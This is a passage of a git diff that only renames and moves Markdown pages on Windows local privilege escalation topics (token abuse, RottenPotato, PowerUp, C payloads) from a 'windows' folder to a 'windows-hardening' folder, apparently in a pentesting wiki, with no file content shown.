b/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md similarity index 100% rename from windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md rename to windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md diff --git a/windows/windows-local-privilege-escalation/powerup.md b/windows-hardening/windows-local-privilege-escalation/powerup.md similarity index 100% rename from windows/windows-local-privilege-escalation/powerup.md rename to windows-hardening/windows-local-privilege-escalation/powerup.md diff --git a/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md similarity index 100% rename from windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md rename to windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md diff --git a/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md similarity index 100% rename from windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md rename to windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md diff --git a/windows/windows-local-privilege-escalation/rottenpotato.md b/windows-hardening/windows-local-privilege-escalation/rottenpotato.md similarity index 100% rename from windows/windows-local-privilege-escalation/rottenpotato.md rename to windows-hardening/windows-local-privilege-escalation/rottenpotato.md diff --git a/windows/windows-local-privilege-escalation/seatbelt.md b/windows-hardening/windows-local-privilege-escalation/seatbelt.md similarity index 100% rename from windows/windows-local-privilege-escalation/seatbelt.md rename to windows-hardening/windows-local-privilege-escalation/seatbelt.md diff --git a/windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md similarity index 100% rename from windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md rename to windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md diff --git a/windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md similarity index 100% rename from windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md rename to windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md diff --git a/windows/windows-local-privilege-escalation/windows-c-payloads.md b/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md similarity index 100% rename from windows/windows-local-privilege-escalation/windows-c-payloads.md rename to windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md